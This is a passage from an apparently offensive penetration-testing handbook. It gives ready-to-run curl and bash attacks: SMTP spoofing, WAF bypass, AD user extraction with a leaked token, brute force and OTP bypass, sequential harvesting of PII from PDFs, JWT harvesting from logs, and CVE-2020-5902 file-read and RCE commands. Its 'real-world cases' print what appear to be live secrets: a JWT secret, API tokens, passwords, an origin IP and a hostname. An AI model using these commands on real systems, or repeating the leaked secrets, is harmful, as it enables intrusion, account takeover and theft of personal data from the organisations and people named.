Real-world case (CRITICAL): Political party — DMARC p=none on both domains (party.org.br, party.com). SPF with include:amazonses.com (any SES account can send as the domain). Total email spoofing.

## 23.3 Email Spoofing via AWS SES

With v=spf1 include:amazonses.com ~all:

  1. Create AWS account
  2. Configure SES with your own domain (verified)
  3. Send email with From: presidente@partido.org.br
  4. SPF PASSES (because of include:amazonses.com)
  5. DKIM of own domain signs (or without DKIM)
  6. DMARC p=none → provider delivers normally

# 24. SUBDOMAIN TAKEOVER & DNS

## 24.1 Subdomain Takeover Candidates

# Identify CNAMEs pointing to services that allow reclamation:

# Vercel: cname.vercel-dns.com → check if project was deleted
# AWS S3: bucket.s3.amazonaws.com → check if bucket doesn't exist
# GitHub Pages: usuario.github.io → check if repo was deleted
# Azure: cloudapp.azure.com → check if resource was removed
# Zendesk: zendesk.com → check if helpdesk was removed
# Shopify: myshopify.com → check if store was removed
# Heroku: herokuapp.com → check if app was deleted

# Error fingerprint indicates potential takeover:
# "NoSuchBucket" (S3)
# "There isn't a GitHub Pages site here"
# "404 — There isn't a page at this address" (Vercel)
# "Domain is not configured" (Azure)

## 24.2 DNS Zone Transfer

# Try zone transfer (rare, but devastating if it works)
for ns in $(host -t ns $target | cut -d" " -f4); do
  echo "=== $ns ==="
  dig axfr @$ns $target
done

## 24.3 TLS Certificates — More Subdomains

# crt.sh (free, no rate limit)
curl -s "https://crt.sh/?q=%25.$target&output=json" | jq -r '.[].name_value' | sort -u

# SecurityTrails (requires API key)
# DNSDB (requires account)
# Censys (requires account)

# 25. ADVANCED FIELD TECHNIQUES

These techniques were discovered and validated in real pentests against 100+ targets.

## 25.1 Apache Port 8443 — nginx/WAF Bypass

When a server has nginx on port 443 + Apache on port 8443, Apache is often more permissively configured, bypassing all nginx protections.

# 1. Detect Apache on 8443
curl -skI "https://TARGET_IP:8443/" | grep -i "server:"
# Server: Apache/2.4.29 (Ubuntu)

# 2. Check if TRACE is enabled (XST — Cross-Site Tracing)
curl -sk -X TRACE "https://TARGET_IP:8443/" -D -
# HTTP/1.1 200 OK — echoes ALL headers including cookies!

# 3. Access the framework entry point directly
curl -sk "https://TARGET_IP:8443/public/index.php" -D - | grep -i "set-cookie"
# Sets XSRF-TOKEN and session cookies → confirms PHP/FastCGI processing

# 4. Check catch-all vhost (accepts any Host header)
curl -sk -H "Host: naoexiste9999.com" "https://TARGET_IP:8443/" -w "%{http_code}"
# If 200 → catch-all vhost — serves content for any domain

# 5. Test sensitive files that nginx blocks but Apache serves
curl -sk "https://TARGET_IP:8443/.env"
curl -sk "https://TARGET_IP:8443/storage/logs/laravel.log"
curl -sk "https://TARGET_IP:8443/icons/README"  # Apache default

Real-world case (CRITICAL): Fitness tech company — Apache 2.4.29 on port 8443 with:

  • TRACE enabled (echoed HttpOnly cookies)
  • Catch-all vhost (any Host header = 200)
  • Direct access to Laravel public/index.php (set session cookies)
  • nginx on port 443 blocked everything — Apache 8443 served everything

## 25.2 Git Exposure — Beyond .git/config

# .git/HEAD reveals current branch
curl -s "http://TARGET/.git/HEAD"

# .git/packed-refs reveals ALL branches (including inactive ones)
curl -s "http://TARGET/.git/packed-refs"

# .git/logs/HEAD reveals committer email
curl -s "http://TARGET/.git/logs/HEAD" | grep -oP '<[^>]+>'

# .git/index (233KB+) — lists ALL tracked files
curl -s "http://TARGET/.git/index" | strings | grep -E '\.php$|\.env$|\.yml$|\.json$'

# Extract files from .git with git-dumper
# https://github.com/arthaud/git-dumper
./git_dumper.py http://TARGET/.git/ /tmp/repo/

## 25.3 MySQL / FTP Banner with Pure Bash (no nmap)

# MySQL — banner without mysql client
timeout 3 bash -c 'exec 3<>/dev/tcp/TARGET_IP/3306; head -1 <&3'
# Output: 5.7.42-0ubuntu0.18.04.1

# FTP — banner without ftp client
timeout 3 bash -c 'exec 3<>/dev/tcp/TARGET_IP/21; head -1 <&3'
# Output: 220 (vsFTPd 3.0.3)

# SMTP
timeout 3 bash -c 'exec 3<>/dev/tcp/TARGET_IP/25; head -1 <&3'

# SSH
timeout 3 bash -c 'exec 3<>/dev/tcp/TARGET_IP/22; head -1 <&3'
# Output: SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7

# Works for ANY TCP service — no dependencies

## 25.4 PHP CGI Query String Fingerprinting

When PHP runs as CGI/FastCGI (not as mod_php), special URLs reveal the version:

# PHP Credits (14KB HTML — confirms CGI mode + exact version)
curl -sk "https://TARGET/?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000"

# PHP Logo (confirms GD module)
curl -sk "https://TARGET/?=PHPE9568F34-D428-11d2-A769-00AA001ACF42"
# Returns GIF 120x67

# If it works → PHP CGI mode → CVE-2012-1823 and variants applicable
# Potential payload: ?-d+allow_url_include%3dOn+-d+auto_prepend_file%3dphp://input

## 25.5 Vite Dev Server — Full Source Code Exposed

# 1. Check if Vite is in dev mode
curl -s "https://TARGET/src/env.ts"
# Contains VITE_JWT_SECRET, VITE_API_TOKEN in plain text!

# 2. Check Dockerfile (CMD npm run dev -- --host = DEV in production!)
curl -s "https://TARGET/Dockerfile"

# 3. Enumerate ALL source files
curl -s "https://TARGET/package.json"      # dependencies, scripts
curl -s "https://TARGET/vite.config.ts"    # build configuration
curl -s "https://TARGET/tsconfig.json"     # paths, aliases
curl -s "https://TARGET/src/lib/axios.ts"  # HTTP client with API URLs
curl -s "https://TARGET/src/api/*.ts"      # ALL endpoints

# 4. Extract secrets from source files
curl -s "https://TARGET/src/env.ts" | grep -oP '(?:SECRET|KEY|TOKEN|PASSWORD)\s*[:=]\s*["\'][^"\']+'

Real-world case: Government agency — server in Vite dev mode:

  • 45 TypeScript files served publicly
  • VITE_JWT_SECRET=b0c1df0e3f9c1e858d3bb0b8d58a119
  • VITE_API_TOKEN=0bd85d3032b8e93137fe83c3b729eb90
  • VITE_LDAP_AUTH=https://environment.gov.br
  • Dockerfile: CMD npm run dev -- --host (DEV in production!)

## 25.6 Active Directory via Token in Public HTML

# 1. Search for tokens/authkeys in login page HTML
curl -s "https://interativa.TARGET.com/" | grep -oP '(?:authkey|token|apiKey)["\']?\s*[:=]\s*["\'][a-f0-9]{32,40}'

# 2. If a token is found, test it against the LDAP API
TOKEN="4d37b3545106aae4622122b7ce395d4e"
curl -H "AuthorizationApi: $TOKEN" \
  "https://environment.TARGET.com/api/filtered-users?page=1&limit=1000"
# → 389 AD users: sAMAccountName, displayName, email, DN, groups

# 3. List AD groups
curl -H "AuthorizationApi: $TOKEN" "https://environment.TARGET.com/api/groups"
# → 200 groups with full OU structure

# 4. AD details (pwdLastSet, userAccountControl, memberOf)
curl -H "AuthorizationApi: $TOKEN" "https://environment.TARGET.com/api/users"

# 5. Test credentials (UNLIMITED brute force if no rate limit)
curl -X POST "https://environment.TARGET.com/api/auth" \
  -H "AuthorizationApi: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"password","origin":"0.0.0.0"}'
# If 200 → valid credential; if 401 → invalid (enumeration!)

Real-world case: State government — token 4d37b35... found in intranet HTML:

  • 389 AD users extracted with names, emails, groups
  • 200 AD groups mapped with full OU structure
  • 4 Domain Admins identified
  • UNLIMITED brute force endpoint

## 25.7 Self-Hosted GitLab — Public Repos

# 1. List all public projects
curl "https://gitlab.TARGET.com/api/v4/projects?visibility=public"

# 2. Read raw files via API
curl "https://gitlab.TARGET.com/api/v4/projects/{NAMESPACE}%2F{REPO}/repository/files/{PATH}/raw?ref=main"

# 3. Check open registration
curl -sI "https://gitlab.TARGET.com/users/sign_up"
# 200 → anyone can create an account

# 4. Check Container Registry (Docker images)
curl "https://gitlab.TARGET.com/api/v4/projects/{ID}/registry/repositories"

Real-world case: Government agency — GitLab with 3 public repositories:

  • Full Internal Helpdesk (HDI) source code
  • servidores_sigrh.json: 461,304 records with CPF (SSN), registration
  • .env.example: MongoDB host, LDAP, email server
  • deploy.sh: Internal IP 10.11.82.75, blue/green strategy
  • .gitlab-ci.yml: CI/CD tokens, runners

## 25.8 SSO Timing-Based User Enumeration

# Measure response time to validate user existence
curl -sk -X POST "https://sso.TARGET.com/password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "user[email]=admin@target.com" \
  -o /dev/null -w "admin@target.com: %{time_total}s\n"
# ~0.896s (user EXISTS — backend queries DB)

curl -sk -X POST "https://sso.TARGET.com/password" \
  -d "user[email]=nonexistent999@target.com" \
  -o /dev/null -w "nonexistent@target.com: %{time_total}s\n"
# ~0.572s (user does NOT EXIST)
# Difference > 200ms = timing oracle confirmed

## 25.9 Zimbra SOAP Auth — Brute Force Test

curl -sk -X POST "https://TARGET.webmail.com/service/soap/" \
  -H "Content-Type: application/xml" \
  -d '<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
    <soap:Header><context xmlns="urn:zimbra"/></soap:Header>
    <soap:Body><AuthRequest xmlns="urn:zimbraAccount">
      <account by="name">admin@TARGET.com</account>
      <password>PASSWORD</password>
    </AuthRequest></soap:Body>
  </soap:Envelope>'
# "account.AUTH_FAILED" → functional endpoint, brute force possible
# "account.AUTH_EXPIRED" → correct credential but expired account

## 25.10 WCD in Angular SPAs (Catch-All Routing)

Angular SPAs return text/html for ANY path (catch-all routing). If the CDN caches paths ending in static extensions, authenticated pages are cached as public resources:

# 1. Confirm the SPA returns HTML for any path
curl -sk "https://admin.TARGET.com/dashboard/settings.css" -D - | grep content-type
# content-type: text/html (NOT text/css!)

# 2. If X-Cache: HIT → WCD confirmed
# Attacker sends victim to: https://admin.TARGET.com/dashboard.css
# Victim visits (authenticated) → CDN caches HTML with the victim's data
# Attacker accesses the same URL → receives the victim's authenticated HTML

## 25.11 Staging IP Bypass (Cloudflare Bypass)

Staging subdomains behind Cloudflare can be accessed directly via the origin IP:

# 1. Discover the real IP (DNS history, crt.sh, SecurityTrails)
# 2. Access directly with --resolve
curl -sk --resolve "hmgadmin.TARGET.com:443:51.222.42.163" \
  "https://hmgadmin.TARGET.com/" -w "%{http_code}"
# 200 → bypass confirmed

# Staging frequently has:
# - APP_DEBUG=true
# - Fewer WAF rules
# - Weaker authentication
# - Real staging data

## 25.12 PHP-FPM Status Page — Real-Time Intelligence

# Requires correct Host header and a browser User-Agent
curl -s -H "Host: cp2.rx.ritux.com.br" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
  "http://TARGET_IP:80/status"
# Reveals in real time:
# - pool: www
# - process manager: dynamic
# - start time, accepted conn, listen queue
# - active processes, idle processes, total processes
# - PID, state, start time, requests, request URI, request method, SCRIPT FILENAME
# → Script path: /var/www/ws/index.php (server's internal path!)

## 25.13 Ory Kratos Admin API Detection

# Kratos Admin API returns 401 (exists!), not 404 (blocked)
curl -sI "https://openid.TARGET.com/k/admin/identities"
# HTTP 401 → endpoint EXISTS, only needs the API key

curl -sI "https://openid.TARGET.com/k/admin/config"
# HTTP 401 → Kratos configuration exposed if you have the key

# Public endpoints (no auth):
curl -s "https://openid.TARGET.com/k/public/schemas"
# JSON with identity schema: fields, validation, additionalProperties

curl -s "https://openid.TARGET.com/self-service/login/browser"
# 303 redirect → login flow (no rate limit?)

## 25.14 Werkzeug Debugger — PIN Bypass Calculation

# If SECRET is exposed (e.g., 5BcAmPHc89fmWT3Tdflg) and EVALEX=true
# OR if you can calculate the PIN from server information:

# The Werkzeug PIN is calculated with:
# 1. username running Flask (probably root or www-data)
# 2. /etc/machine-id or /proc/sys/kernel/random/boot_id
# 3. MAC address of the network interface
# 4. /proc/self/cgroup (first line)

# If any of these values leak via stack trace, LFI, or info disclosure:
# → Calculate PIN → interactive Python console → RCE

# Calculation example (Werkzeug < 3.x):
import hashlib
from itertools import chain

def get_pin(machine_id, boot_id, mac_address, username="root"):
    probably_public_bits = [
        username,
        'flask.app',
        'Flask',
        '/usr/local/lib/python3.x/dist-packages/flask/app.py'
    ]
    private_bits = [machine_id, boot_id + mac_address]
    h = hashlib.sha1()
    # ... (implementation depends on the Werkzeug version)

## 25.15 GLPI status.php — Internal Paths

curl "http://TARGET/status.php"
# GLPI status page reveals:
# - DB status (OK or PROBLEM)
# - AD connection status (AD1, AD2, AD3)
# - Installation path: C:\xampp\htdocs\glpi (Windows!)
# - GLPI version
# - enabled/disabled APIs

## 25.16 IIS Trace.axd — ASP.NET Confirmation

curl -sI "http://TARGET/trace.axd"
# HTTP 200 with "Trace Error" → ASP.NET trace is enabled
# (even with localOnly=true, it confirms ASP.NET + IIS)

curl -sI "http://TARGET/elmah.axd"
# If 200 → public Elmah error log (full error dump!)

# WebDAV test
curl -X PROPFIND "http://TARGET/" -H "Depth: 1"
# If 207 → WebDAV enabled (possible upload/ls via PUT/PROPFIND)

## 25.17 OpenSSH User Enumeration (CVE-2018-15473)

# Affects OpenSSH < 7.7 (Ubuntu 18.04 default)
# Valid vs invalid username has different timing

# Simplified manual test:
for user in root admin ubuntu deploy www-data git; do
  time ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
    -o BatchMode=yes "$user@$TARGET" 2>&1 | head -1
done
# Timing/error difference → confirms user existence

## 25.18 robots.txt — Sensitive Paths Revealed

curl -s "https://TARGET/robots.txt" | grep -i "disallow"
# Frequently reveals internal paths that should NOT be indexed:
# Disallow: /admin
# Disallow: /internal
# Disallow: /config
# Disallow: /api/internal
# Disallow: /*/setcreditlimit   ← sensitive endpoint
# Disallow: /*/card*
# Each blocked path is a potential target

## 25.19 S3 Bucket Detection — Three Methods

# Method 1: Direct S3 URL
curl -sI "https://{BUCKET}.s3.{REGION}.amazonaws.com/"
# 200+XML = listable | 403 = exists/blocked | 404 = doesn't exist

# Method 2: Domain CNAME to S3
# If subdomain CNAME → s3.amazonaws.com and returns NoSuchBucket
# → Subdomain takeover potential (create bucket with same name)

# Method 3: Brute force naming patterns
for name in "target-prod" "target-dev" "target-static" "target-uploads" \
            "download.target.com" "static.target.com" "media.target.com"; do
  status=$(curl -sk -o /dev/null -w "%{http_code}" "https://${name}.s3.amazonaws.com/")
  [ "$status" != "404" ] && echo "$name$status"
done

## 25.20 Wildcard DNS Detection + Hidden Service Discovery

# Check if DNS is wildcard
dig +short "random123xyz.TARGET.com"
# If it resolves → wildcard DNS (any subdomain resolves)

# Wildcard DNS = try service names to discover hidden hosts
services="api chat ws whatsapp painel intranet crm nfe backup monitor zabbix grafana storage vpn n8n supabase jenkins gitlab registry"
for svc in $services; do
  ip=$(dig +short "$svc.TARGET.com" | head -1)
  [ -n "$ip" ] && echo "$svc.TARGET.com → $ip"
done

## 25.21 FTP User Enumeration via Timing

# Identify valid users by response difference
users="admin sistemas egb root backup operator ftp upload download web www-data mysql postgres"
for user in $users; do
  echo "USER $user" | timeout 2 nc -w1 FTP_HOST 21
  sleep 0.5
done
# "331 User OK. Password required" → VALID user
# "530 Invalid user" → does NOT exist

## 25.22 Varnish Cache — Extreme TTL (32 days!)

curl -sI "https://TARGET/" | grep -iE "age:|max-age|x-cache"
# Age: 79550 (22 hours!)
# max-age: 2764800 (32 DAYS!)
# Over 32 days, any WCD/WCP persists for an entire month

## 25.23 Sentry DSN — Fake Event Injection

# Sentry DSN found in JS bundle: https://{key}@sentry.TARGET.com/{project_id}
# Test if it accepts ingestion (write-only DSN)
curl -s -X POST "https://{DSN_KEY}@sentry.TARGET.com/api/{project_id}/store/" \
  -H "Content-Type: application/json" \
  -d '{"message":"test","level":"info","logger":"research"}'
# 200 OK → can inject fake events, cause alert fatigue
# Does NOT allow reading existing events (write-only)

## 25.24 Hardcoded JWTs as “App Tokens”

JWTs found in JS bundles may not need forgery — just reuse them:

// Example: found in JS bundle
const BOT_JWT = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0...";

// Usage: send as authentication header
// The server blindly trusts this token to identify the application
# Replay the found JWT
curl -s "https://API.TARGET.com/bff-api/stores" \
  -H "X-App-Id: bot" \
  -H "X-App-Token: eyJhbGciOiJIUzI1NiIs..."

Real-world case: Delivery platform — 2 HS256 JWTs hardcoded (appName: bot, appName: dashboard), used as “app tokens” to authenticate BFF API requests. The server blindly trusted them.


# 26. ADVANCED TECHNIQUES — PART 2

## 26.1 IP Whitelist Bypass via Internal Proxy SSRF

When an API is protected by IP whitelist but there’s an internal proxy running on the server:

# Direct call → blocked by the IP whitelist:
curl -s "https://api.TARGET.com/webservice/v1/cliente" -H "Authorization: Basic ..."
# → "Your IP is not authorized to log in!"

# Bypass via internal proxy (the server's IP IS on the whitelist):
curl -s "http://TARGET_IP:8085/proxy-ixc.php" \
  -H "Content-Type: application/json" \
  -d '{"action":"listar","tabela":"cliente","limit":100}'
# Flow: Your IP ──✅──> proxy.php (on the server) ──✅──> API (server's IP on the whitelist)

Look for PHP proxies on alternative ports (8085, 8080, 3000, 5000) with endpoints like /proxy.php, /api-proxy/, /forward.

## 26.2 Login Without Password Validation (Action-Based Routing)

PHP systems that use the ACTION parameter to route functions may skip password validation:

# NORMAL login: ACTION=login → validates user + password
# BYPASS login: ACTION=getValidaLogin → ONLY validates whether the CPF/USER exists
curl -s 'https://TARGET.com/central_assinante_web/model/login/login.php' \
  -d 'ACTION=getValidaLogin&USER=***.***.***-**&ID_CLIENTE=0&APP=N'
# → {"tipo":"sucesso","mensagem":{"sessao":"xxxxxxxx..."}}
# Session returned without checking the password!

# Use the session cookie for protected endpoints:
curl -s 'https://TARGET.com/.../faturas.php?ACTION=getFaturas&APP=N' \
  -H 'Cookie: sessao=xxxxxxxx'
# → Full customer data

Pattern: Look for ACTION, action, method, op, do parameters in legacy PHP apps. Test values like getValidaLogin, validar, auth, checkUser, getSession.

## 26.3 PHP-FPM Status Page — Real-Time Intelligence

# Requires the correct Host header and a browser User-Agent
curl -s -H "Host: TARGET" \
  -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)" \
  "http://TARGET_IP:80/status"
# Returns IN REAL TIME:
# - pool: www, process manager: dynamic
# - PID, state, start time, requests, request URI, request method
# - SCRIPT FILENAME: /var/www/ws/index.php (internal path!)
# - active/idle/total processes
# - Content of the current request (POST bodies visible!)

# Build a monitoring dashboard (poll every 3s):
watch -n 3 'curl -s -H "Host: TARGET" -H "User-Agent: Mozilla/5.0" http://IP/status'

If requests appear on the status page → you see in real time what other users are doing.

## 26.4 User Enumeration via Differentiated HTTP Status Codes

Some endpoints return DIFFERENT codes for user exists vs doesn’t exist:

# Example: 400 = user EXISTS (password too short), 401 = does NOT exist
curl -s -w "\n%{http_code}" "https://TARGET.com/api/v1/auth/login" \
  -H "Content-Type: application/json" \
  -d '{"email":"admin@target.com","password":"12345","tenantSlug":"target"}'
# → 400: password too short → user EXISTS
# → 401: unauthorized → user does NOT exist

Common patterns:

  • 400 vs 401: user exists vs doesn’t exist
  • 403 vs 404: protected vs non-existent endpoint
  • Different response time (>200ms = exists)
  • Different body size (different error message)

## 26.5 PDF PII Extraction Pipeline

When APIs return PDFs in base64:

# 1. Fetch the PDF as base64
curl -s "http://TARGET:8085/get-doc.php" -d "doc_id=148601" > response.json

# 2. Decode and extract text
jq -r '.data' response.json | base64 -d > documento.pdf
pdftotext documento.pdf - | grep -E "CPF|CNPJ|RG|CEP|telefone"

# 3. Enumerate sequential IDs
for id in $(seq 148000 148700); do
  curl -s "http://TARGET:8085/get-doc.php" -d "doc_id=$id" | \
    jq -r '.data' | base64 -d | pdftotext - - | grep "CPF" && echo "  → ID: $id"
done

## 26.6 JWT Token Harvesting via Log Files

Log files often accumulate hundreds of JWT tokens:

# Download log
curl -s "http://TARGET:8085/api-simple.log" > api.log

# Extract ALL JWTs (access + refresh tokens)
grep -oP 'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{10,}' api.log | wc -l
# E.g.: 315 tokens in a single log file

# Decode each one's payload (without verifying the signature)
grep -oP 'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{10,}' api.log | \
  while read jwt; do
    payload=$(echo "$jwt" | cut -d'.' -f2 | base64 -d 2>/dev/null)
    echo "$payload" | jq -r '.exp' 2>/dev/null  # check expiration
  done

# Filter for tokens still valid by their exp timestamp

## 26.7 DELETE via GET — No CSRF, No Preflight

APIs that accept DELETE via GET method completely bypass CSRF protections:

# Instead of:
# DELETE /api/clients/delete/123
# Use:
curl -s "GET https://TARGET.com/api/clients/deleteClient/123"
# → Works! No CSRF token, no CORS preflight, exploitable via <img> tag

# If this exists, the attack is trivial:
# <img src="https://TARGET.com/api/clients/deleteClient/123">
# Authenticated victim visits page → DELETE executed

Look for DELETE via GET in poorly implemented RESTful APIs — it’s more common than it seems.

## 26.8 Client-Side Auth Bypass via window.* Globals

React/Angular/Vue SPAs that expose auth functions in global scope:

// In the victim's browser console (or via XSS):
window.affiliateRegistered('forged-token-here')  // Sets the auth token
window.loginSuccessful('user-data')               // Completes the login flow
window.setToken('admin-jwt')                      // Sets the admin JWT

// → Dashboard now accessible with the forged token
// → No server-side validation of the full login flow

Detection: Inspect the window object in the browser console:

Object.keys(window).filter(k => 
  k.toLowerCase().includes('login') || 
  k.toLowerCase().includes('auth') || 
  k.toLowerCase().includes('token') ||
  k.toLowerCase().includes('register')
)

## 26.9 Password Pattern Recognition for Wordlists

Analyze leaked passwords to identify reused patterns:

import re

# Passwords found in API responses
passwords = ["Pratibha7231@", "Ankit7231@", "Sumit7231@", "Manish7231@"]

# Identify pattern: [Name]7231@
pattern = r'^[A-Z][a-z]+7231@$'

# Generate a wordlist from pattern + list of employee names
employees = ["Rahul", "Priya", "Vikram", "Neha", "Amit"]
wordlist = [f"{name}7231@" for name in employees]

# Other common patterns:
# - [Name][Year]@   → Maria2024@
# - Admin@[Number]  → Admin@123
# - [Company][Year] → target2024
# - password + variations → password, Password, password123, P@ssword

## 26.10 OTP/2FA Bypass — 7 Patterns

#TechniqueHow to test
1OTP in responseCheck whether the OTP appears in the HTTP response body
2OTP not invalidatedUse the same code twice
3Null/empty OTPSend otp= or omit the field
4OTP over HTTPCheck whether the endpoint accepts HTTP (sniffable)
5Sequential OTPTry nearby codes (000001, 000002…)
6Predictable OTPCheck if based on timestamp or user ID
72FA not requiredTest sensitive endpoints (transfer, email-change) without OTP
# Test OTP bypass
curl -X POST "https://TARGET.com/api/transfer" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"to":"dest","amount":100,"otp":""}'    # empty OTP

curl -X POST "https://TARGET.com/api/transfer" \
  -H "Authorization: Bearer $USER_TOKEN" \
  -d '{"to":"dest","amount":100}'             # no OTP field

# Reuse OTP
curl -X POST "https://TARGET.com/api/transfer" \
  -d '{"to":"dest2","amount":50,"otp":"USED_CODE"}'  # same OTP already used

## 26.11 Prototype Pollution — Detection and Exploit

// 1. Test injection via JSON merge
POST /api/profile
{"__proto__": {"isAdmin": true}}
// or
{"constructor": {"prototype": {"isAdmin": true}}}

// 2. Check whether the pollution affects authorization
GET /api/admin/dashboard
// If 200 with the polluted header → prototype pollution confirmed

// 3. Search for sinks in the JS bundles
// Static analysis of the bundles:
rg '__proto__|constructor\[|prototype\[' bundle.js
rg '\.innerHTML\s*=' bundle.js            # DOM XSS sinks
rg 'eval\(|new Function\(' bundle.js      # Code execution sinks
rg 'Math\.random\(\)' bundle.js           # Weak randomness
rg '\.merge\(|Object\.assign\(' bundle.js # Unsafe merges

## 26.12 Akamai/CDN WAF Bypass via Direct Subdomains

Admin/internal subdomains often do NOT pass through WAF:

# 1. Enumerate ALL subdomains
subfinder -d target.com | httpx -o alive.txt

# 2. Test each one for WAF bypass
while read sub; do
  curl -sk -o /dev/null -w "$sub: %{http_code}\n" \
    "https://$sub/.env"
done < alive.txt

# 3. Subdomains returning 200/403 (exists) vs 406/blocked (WAF):
# admin.target.com → 403 (exists, no WAF!)      ← BYPASS!
# www.target.com   → 406 (blocked by the WAF)
# api.target.com   → 200 (exists, no WAF!)      ← BYPASS!

Subdomain patterns that frequently bypass WAF:

  • admin.*, dashboard.*, internal.*, dev.*, staging.*
  • *hmg.*, *homolog.* (staging)
  • *-int.*, *internal.*
  • Server’s direct IP (discover via DNS history)

## 26.13 HTTP Request Smuggling — The Basics

HTTP Smuggling occurs when the front-end (proxy/CDN) and back-end disagree on where one request ends and the next begins.

Main variants:

VariantFront-end usesBack-end usesHow to detect
CL.TEContent-LengthTransfer-EncodingSend both conflicting headers
TE.CLTransfer-EncodingContent-LengthInverse
TE.TETE (one value)TE (another value)Obfuscate one of the TE headers
H2.CLHTTP/2 Content-LengthHTTP/1.1 Content-LengthDowngrade H2→H1
H2.TEHTTP/2HTTP/1.1 Transfer-EncodingInject TE in the downgrade
# Basic CL.TE test:
printf 'POST / HTTP/1.1\r\nHost: TARGET\r\nContent-Length: 50\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost\r\n\r\n' | nc TARGET 80

# Burp Suite: HTTP Request Smuggler extension
# Tools: smuggler.py, h2csmuggler

⚠️ Smuggling is complex and dangerous — can affect real traffic from other users. Only test with explicit authorization.

## 26.14 Plaintext Passwords in API Responses

APIs that return passwords in plaintext (it should never happen, but it does):

# Find endpoints that return credentials
curl -s "https://TARGET.com/api/admins" | jq '.[] | {email, password}'
# → "password":"Pratibha7231@"  (plaintext!)

curl -s "https://TARGET.com/api/users" | jq '.[] | {user, pass, hash}'
# → "pass":"Admin@123"  (plaintext!)

If found, extract ALL credentials and look for patterns (common suffix, year, company name) to generate brute force wordlists.

## 26.15 Backup PHP Files — Source Code with Credentials

.php.backup, .php.bak, .php~ files often expose source code:

# List the directory (if directory listing is enabled)
curl -s "http://TARGET:8085/" | grep -E '\.php|\.backup|\.bak|\.old|\.ini'

# Read the backup (served as text, not executed as PHP)
curl -s "http://TARGET:8085/abrir-suporte.php.backup"
# → Source code with a hardcoded API token:
# $api_token = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";

curl -s "http://TARGET:8085/config.php.bak"
# → DB credentials: host, user, password, database

## 26.16 mTLS Certificate Export

Certificates with private key exposed in public directories:

# If you find a .pem certificate with a private key (no passphrase):
curl -s "http://TARGET:8085/certificates/certificado.pem" | head -20
# -----BEGIN CERTIFICATE-----
# ...
# -----END CERTIFICATE-----
# -----BEGIN PRIVATE KEY-----    ← PRIVATE KEY INCLUDED!
# ...

# Use it to authenticate against APIs that require mTLS:
curl --cert certificado.pem \
  "https://api.banco.com/v1/charge/123" \
  -H "Authorization: Bearer $TOKEN"

# Enumerate all certificates in the directory
for id in $(seq 1 100); do
  curl -s -o /dev/null -w "%{http_code}\n" "http://TARGET:8085/certificates/cert-$id.pem"
done

## 26.17 Supabase — Advanced Techniques

### RLS Bypass via Cross-Organization IDOR

# If a table has RLS but allows UPDATE of your own profile WITHOUT checking organization_id:
curl -X PATCH "https://{PROJECT}.supabase.co/rest/v1/profiles?id=eq.{MY_ID}" \
  -H "apikey: {ANON_KEY}" -H "Authorization: Bearer {ANON_KEY}" \
  -d '{"organization_id":"TARGET_ORG_UUID"}'
# → Now you see the target organization's dashboard

# SQL Fix:
# ALTER POLICY profile_update ON public.profiles
#   WITH CHECK (organization_id = (SELECT organization_id FROM profiles WHERE id = auth.uid()));

### RPC Functions without Organization Filter

# RPC functions often return GLOBAL data:
curl -s "https://{PROJECT}.supabase.co/rest/v1/rpc/get_stats" \
  -H "apikey: {ANON_KEY}" -H "Authorization: Bearer {ANON_KEY}"
# → Returns statistics from ALL organizations, not just yours

# SQL Fix: Add SECURITY DEFINER + WHERE org_id = ...

### Multi-Tenant Enumeration via WHOIS

# 1. Get the email from the target domain's WHOIS
whois target.com | grep -i "email\|@"

# 2. Find other domains owned by the same owner
# → reverse WHOIS, crt.sh, Google dorks

# 3. All sites from the same dev share the same flaws:
# - Same stack (Supabase + Lovable.dev)
# - Same broken-RLS patterns
# - Same APIs with open signup

## 26.18 Exposed Prometheus/Grafana

# Prometheus (port 9090) — internal metrics and targets
curl -s "http://TARGET:9090/api/v1/targets"  # All monitored targets
curl -s "http://TARGET:9090/api/v1/label/__name__/values"  # All metrics
curl -s "http://TARGET:9090/api/v1/query?query=up"  # Status of all services

# Grafana (port 3000) — dashboards without auth
curl -s "http://TARGET:3000/api/search"  # List all dashboards
curl -s "http://TARGET:3000/api/dashboards/home"  # Main dashboard
curl -s "http://TARGET:3000/api/org"  # Organization info

# RabbitMQ management (port 15672)
curl -s "http://TARGET:15672/api/overview"  # No auth → full access

## 26.19 F5 BIG-IP — CVE-2020-5902 RCE

If you detect F5 BIG-IP (TS* cookies, BigIP server):

# 1. Detect F5
curl -skI "https://TARGET/" | grep -i "server:\|set-cookie"
# Server: BigIP, cookies TS01*, TSa*

# 2. Test CVE-2020-5902 (CVSS 10.0)
# File read:
curl -sk "https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"

# RCE:
curl -sk "https://TARGET/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+all"

## 26.20 Directory Listing — Port Scanning Passive

Servers with active directory listing expose ALL files:

# Common ports that may have directory listing:
for port in 80 8080 8085 8443 9000; do
  curl -s -o /dev/null -w "Port $port: %{size_download}b - %{http_code}\n" \
    "http://TARGET_IP:$port/"
done

# If it returns HTML with a file list → extract everything:
curl -s "http://TARGET_IP:8085/" | grep -oP 'href="[^"]+' | cut -d'"' -f2 | while read f; do
  [ "$f" != "/" ] && [ "$f" != ".." ] && curl -s -o "$f" "http://TARGET_IP:8085/$f"
done

## 26.21 IP Cameras — Recon & Exploitation

IP cameras are the most exposed IoT device on the Brazilian internet (~100K). Most have endpoints without authentication.

# 1. Discovery via Shodan
